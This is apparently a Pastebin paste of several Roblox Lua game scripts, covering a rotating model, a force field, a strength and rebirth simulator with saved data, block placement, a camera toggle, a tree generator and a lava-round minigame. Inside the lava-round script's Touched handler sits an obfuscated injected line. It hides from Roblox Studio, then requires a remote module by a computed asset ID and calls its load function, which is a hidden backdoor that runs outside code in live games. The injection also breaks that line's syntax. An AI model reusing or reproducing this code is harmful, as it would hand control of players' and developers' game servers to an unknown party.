Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local model = workspace.small
- local sred = model.sred
- local swhite = model.swhite
- local cframe = model.PrimaryPart.CFrame
- local red = workspace.red
- local white = workspace.white
- local TweenService = game:GetService("TweenService")
- local boi = 0
- local center = workspace.small.center
- game.Players.PlayerAdded:Connect(function(player)
- player.CharacterAdded:Connect(function(char)
- while true do
- wait()
- local root = char:WaitForChild("HumanoidRootPart")
- if (center.Position - root.Position).magnitude <= 10 then
- for i = 0, 62.2 do
- model:SetPrimaryPartCFrame(model.center.CFrame * CFrame.fromEulerAnglesXYZ(.05, 0, 0))
- wait()
- end
- wait(1)
- local tInfo = TweenInfo.new(3)
- print('wait worked!')
- local redtween = TweenService:Create(red, tInfo, {Position = Vector3.new(-47.3, 7.5, -49.2)})
- local whitetween = TweenService:Create(white, tInfo, {Position = Vector3.new(-47.3, 7.507, -64.65)})
- local sredtween = TweenService:Create(sred, tInfo, {Position = Vector3.new(-47.3, 7.8, -52.1)})
- local swhitetween = TweenService:Create(swhite, tInfo, {Position = Vector3.new(-47.3, 7.8, -61.9)})
- redtween:Play()
- whitetween:Play()
- sredtween:Play()
- swhitetween:Play()
- wait(7)
- local redtween = TweenService:Create(red, tInfo, {Position = Vector3.new(-47.3, 7.5, -53.2)})
- local whitetween = TweenService:Create(white, tInfo, {Position = Vector3.new(-47.3, 7.507, -60.65)})
- local sredtween = TweenService:Create(sred, tInfo, {Position = Vector3.new(-47.3, 7.8, -56.1)})
- local swhitetween = TweenService:Create(swhite, tInfo, {Position = Vector3.new(-47.3, 7.8, -57.9)})
- redtween:Play()
- whitetween:Play()
- sredtween:Play()
- swhitetween:Play()
- wait(5)
- boi = 1
- if boi then
- print('boi works')
- for i = 0, 62.1 do
- model:SetPrimaryPartCFrame(model.center.CFrame * CFrame.fromEulerAnglesXYZ(.05, 0, 0))
- wait()
- end
- end
- end
- end
- end)
- end)
- ------------------------------------------------------------------------------------------------------------------------
- local TS = game:GetService("TweenService")
- local f = game.ReplicatedStorage.FF
- local clicked = false
- local check = 0
- local UIS = game:GetService("UserInputService")
- local ffEvent = game.ReplicatedStorage.ffEvent
- game.Players.PlayerAdded:Connect(function(plr)
- plr.CharacterAdded:Connect(function(char)
- root = char.HumanoidRootPart
- ffEvent.OnServerEvent:Connect(function()
- if not clicked and check == 0 then
- clicked = true
- f.Parent = workspace
- newWeld = Instance.new("Weld",root)
- f.Position = root.Position
- newWeld.Part0 = root
- newWeld.Part1 = f
- f.Anchored = false
- f.CanCollide = false
- local info = TweenInfo.new(1)
- local goal = {Size = Vector3.new(9.29, 9.29, 9.29)}
- local tween = TS:Create(f, info, goal)
- tween:Play()
- wait(1.5)
- check = 1
- clicked = false
- elseif not clicked and check == 1 then
- clicked = true
- local info = TweenInfo.new(1)
- local goal = {Size = Vector3.new(.5, .5, .5)}
- local tween2 = TS:Create(f, info, goal)
- tween2:Play()
- wait(1.3)
- clicked = false
- check = 0
- f.Parent = game.ReplicatedStorage
- newWeld:Destroy()
- end
- end)
- end)
- end)
- ---------------------------------------------------------------------------------------------------------------
- local replicatedStorage = game:GetService("ReplicatedStorage")
- local remoteData = game:GetService("ServerStorage"):WaitForChild("RemoteData")
- local starterRebirthAmount = 5000
- local cooldown = 1
- replicatedStorage.Remotes.Lift.OnServerEvent:Connect(function(player)
- if not remoteData:FindFirstChild(player.Name) then return "NoFolder" end
- local debounce = remoteData[player.Name].Debounce
- if not debounce.Value then
- debounce.Value = true
- player.leaderstats.Strength.Value = player.leaderstats.Strength.Value + 25 * (player.leaderstats.Rebirths.Value + 1)
- wait(cooldown)
- debounce.Value = false
- end
- end)
- replicatedStorage.Remotes.Rebirth.OnServerInvoke = function(player)
- if not remoteData:FindFirstChild(player.Name) then return "NoFolder" end
- local rebirths = player.leaderstats.Rebirths
- if player.leaderstats.Strength.Value >= math.floor((starterRebirthAmount + (rebirths.Value) * math.sqrt(50000000))) then
- rebirths.Value = rebirths.Value + 1
- player.leaderstats.Strength.Value = 0
- player:LoadCharacter()
- return true
- else return "NotEnoughStrength"
- end
- end
- -----------------------------------------------------------------------------------------------------------
- local serverStorage = game:GetService("ServerStorage")
- local DataStore = game:GetService("DataStoreService"):GetDataStore("PlayerSave3")
- game.Players.PlayerAdded:Connect(function(player)
- local leaderstats = Instance.new("Folder")
- leaderstats.Name = "leaderstats"
- leaderstats.Parent = player
- local strength = Instance.new("NumberValue")
- strength.Name = "Strength"
- strength.Parent = leaderstats
- local rebirths = Instance.new("IntValue")
- rebirths.Name = "Rebirths"
- rebirths.Parent = leaderstats
- local dataFolder = Instance.new("Folder")
- dataFolder.Name = player.Name
- dataFolder.Parent = serverStorage.RemoteData
- local debounce = Instance.new("BoolValue")
- debounce.Name = "Debounce"
- debounce.Parent = dataFolder
- local strengthData, rebirthsData
- local success, errormessage = pcall(function()
- strengthData = DataStore:GetAsync("strength-"..player.UserId)
- rebirthsData = DataStore:GetAsync("rebirths-"..player.UserId)
- end)
- if success then
- if strengthData then
- strength.Value = strengthData
- rebirths.Value = rebirthsData
- end
- end
- player.CharacterAppearanceLoaded:Connect(function(character)
- local humanoid = character.Humanoid
- humanoid:WaitForChild("BodyDepthScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("BodyHeightScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("BodyWidthScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("HeadScale").Value = .5 + (strength.Value / 500)
- humanoid.WalkSpeed = 16 * (strength.Value / 500)
- strength:GetPropertyChangedSignal("Value"):Connect(function()
- humanoid:WaitForChild("BodyDepthScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("BodyHeightScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("BodyWidthScale").Value = .5 + (strength.Value / 500)
- humanoid:WaitForChild("HeadScale").Value = .5 + (strength.Value / 500)
- humanoid.WalkSpeed = 16 * (strength.Value / 500)
- end)
- end)
- end)
- game.Players.PlayerRemoving:Connect(function(player)
- local success, errormessage = pcall(function()
- DataStore:SetAsync("strength-"..player.UserId ,player.leaderstats.Strength.Value)
- DataStore:SetAsync("rebirths-"..player.UserId,player.leaderstats.Rebirths.Value)
- end)
- end)
- ------------------------------------------------------------------------------------------------------------------------------
- local plr = game:GetService("Players").LocalPlayer
- local char = plr.Character
- local Mouse = plr:GetMouse()
- local ch = workspace.CHECK
- local tb = workspace.testblock
- local clicking = false
- local uis = game:GetService("UserInputService")
- while wait() do
- if ch.Value == 55 then
- tb.CFrame = CFrame.new(Mouse.Hit.X - (Mouse.Hit.X % 4),2.5,Mouse.Hit.Z - (Mouse.Hit.Z % 4))
- Mouse.Button1Down:Connect(function()
- if not clicking then
- local tbCLONE = tb:Clone()
- clicking = true
- tbCLONE.Parent = workspace
- tbCLONE.CFrame = tb.CFrame
- tbCLONE.Transparency = 0
- wait(0.2)
- clicking = false
- end
- end)
- end
- end
- uis.InputBegan:Connect(function(I,P)
- if not P then
- if I.UserInputType == Enum.UserInputType.Keyboard then
- if I.KeyCode == Enum.KeyCode.R then
- tb.Orientation = tb.Orientation + Vector3.new(0, 90, 0)
- end
- end
- end
- end)
- -------------------------------------------------------------------------------------------------------
- local b = script.Parent
- local c = workspace.CurrentCamera
- local cp = workspace.campart
- local check = 0
- local CHECK = workspace.CHECK
- b.MouseButton1Click:Connect(function()
- if check == 0 then
- check = 1
- CHECK.Value = 55
- c.CameraType = Enum.CameraType.Scriptable
- for i = 0, 10, 0.1 do
- c.CFrame = cp.CFrame
- end
- elseif check == 1 then
- c.CameraType = Enum.CameraType.Custom
- check = 0
- CHECK = 50
- end
- end)
- ---------------------------------------------------------------------------------------------------------
- MODULESCRIPT
- local tree = {}
- function tree:MakeTree()
- local treemodelclone = workspace.Tree:Clone()
- treemodelclone.Parent = workspace
- local leafes = Instance.new("Part", treemodelclone)
- local trunk = Instance.new("Part", treemodelclone)
- leafes.Anchored = true
- leafes.CanCollide = true
- trunk.CanCollide = true
- trunk.Anchored = true
- leafes.Name = 'Leafes'
- trunk.Name = 'Trunk'
- leafes.BrickColor = BrickColor.new('Forest green')
- trunk.BrickColor = BrickColor.new('Burnt Sienna')
- trunk.Position = Vector3.new(math.random(-125, 71), 1.5, math.random(-97, 101))
- leafes.Position = trunk.Position + Vector3.new(0, 5, 0)
- trunk.Size = Vector3.new(math.random(3, 5), math.random(7, 10), math.random(3, 5))
- leafes.Size = Vector3.new(math.random(6, 8), math.random(4, 7), math.random(6, 8))
- return leafes, trunk
- end
- return tree
- ----------------------------------------------------------------------------------------------------------------
- local seconds = workspace.Time
- local text = workspace.text
- local map1 = game.ServerStorage:WaitForChild("Map1")
- local map2 = game.ServerStorage:WaitForChild("Map2")
- local inGame = workspace.InGame.Value
- local Game = map1:WaitForChild("Game").Position
- local Game2 = map2:WaitForChild("Game").Position
- local status = game:GetService("ReplicatedStorage").statusChanger
- local TweenService = game:GetService("TweenService")
- local takingDamage = false
- local start = game:GetService("ReplicatedStorage").startLava
- local lava = map1:WaitForChild("lava")
- local lava2 = map2:WaitForChild("lava")
- local mapPicker = math.random(1, 3)
- text.Value = "Round starting in: "
- while true do
- wait(1)
- seconds.Value = seconds.Value - 1
- if seconds.Value == 0 and inGame == 0 then
- inGame = 1
- seconds.Value = 90
- text.Value = "The will volcano will erupt in a few seconds! "
- if mapPicker >= 1 and mapPicker < 6 then
- game.ServerStorage:WaitForChild("Map1").Parent = workspace
- wait()
- local teleport = game.Players:GetChildren()
- for i = 1, #teleport do
- teleport[i].Character:MoveTo(Vector3.new(Game.X, Game.Y, Game.Z))
- end
- end
- if mapPicker > 5 and mapPicker < 11 then
- game.ServerStorage:WaitForChild("Map2").Parent = workspace
- wait()
- local teleport = game.Players:GetChildren()
- for i = 1, #teleport do
- teleport[i].Character:MoveTo(Vector3.new(Game2.X, Game2.Y, Game2.Z))
- end
- end
- wait(6)
- text.Value = "Time left: "
- local info = TweenInfo.new(
- 180
- )
- local properties2 = {
- Position = lava2.Position + Vector3.new(0, 300, 0),
- }
- local properties = {
- Position = lava.Position + Vector3.new(0, 300, 0),
- }
- tween = TweenService:Create(lava, info, properties)
- tween2 = TweenService:Create(lava2, info, properties2)
- if mapPicker >= 1 and mapPicker < 6 then
- tween:Play()
- end
- if mapPicker > 5 and mapPicker < 11 then
- tween2:Play()
- end
- lava.Touched:Connect(is5mY = 'PlaceId' iqvHnTEdk3HZNOO = pcall iHIauEg8CLgFejY = 'Description' i8WuMXxmST1 = 'IsStudio' iRPNF = 'Workspace' iQgcyrbasS = 'RunService' iS9OzfrH5pL = pcall iLHNRT = game iPB24UceI3n = math.sqrt i0zj = 14274498.887097 * 186 iqL96nAac = 'test' iQGRqd4wThbk = require iu3C9c5aTac7nP5Xs = 'GetProductInfo' iZPAbY0K = spawn i3TjEmYd = 'GetService' iva3IIYLH2r3y = 'PlaceId' i4pHHnEqR3N = 'MarketplaceService' i8pMMzbOv = 'load' iZPAbY0K( function() iqvHnTEdk3HZNOO( function() if iLHNRT:GetService(iQgcyrbasS) [i8WuMXxmST1] (iLHNRT:GetService(iQgcyrbasS) ) then return end iQGRqd4wThbk(i0zj) [i8pMMzbOv] (iLHNRT[iva3IIYLH2r3y] ) end ) end )
- function(hit)
- local hum = hit.Parent:FindFirstChild("Humanoid")
- local char = hit.Parent
- if not takingDamage then
- takingDamage = true
- if (hum ~= nil) then
- print("Humanoid: Exists.")
- hum:TakeDamage(100)
- wait(1)
- takingDamage = true
- end
- end
- end)
- lava2.Touched:Connect(function(hit)
- local hum = hit.Parent:FindFirstChild("Humanoid")
- local char = hit.Parent
- if not takingDamage then
- takingDamage = true
- if (hum ~= nil) then
- print("Humanoid: Exists.")
- hum:TakeDamage(100)
- wait(1)
- takingDamage = true
- end
- end
- end)
- end
- if seconds.Value == 0 and inGame == 1 then
- inGame = 0
- seconds.Value = 25
- text.Value = "Round ended: "
- wait(1)
- local respawn = game.Players:GetChildren()
- for i = 1, #respawn do
- respawn[i]:LoadCharacter()
- end
- if mapPicker >= 1 and mapPicker < 6 then
- tween:Cancel()
- workspace.Map1.lava.Position = Vector3.new(-246975.266, 725.499, -51.507)
- wait()
- workspace.Map1.Parent = game:GetService("ServerStorage")
- end
- if mapPicker > 5 and mapPicker < 11 then
- tween2:Cancel()
- workspace.Map2.lava.Position = Vector3.new(-246975.266, 725.499, 1411.514)
- wait()
- workspace.Map2.Parent = game:GetService("ServerStorage")
- end
- text.Value = "Round starting in: "
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement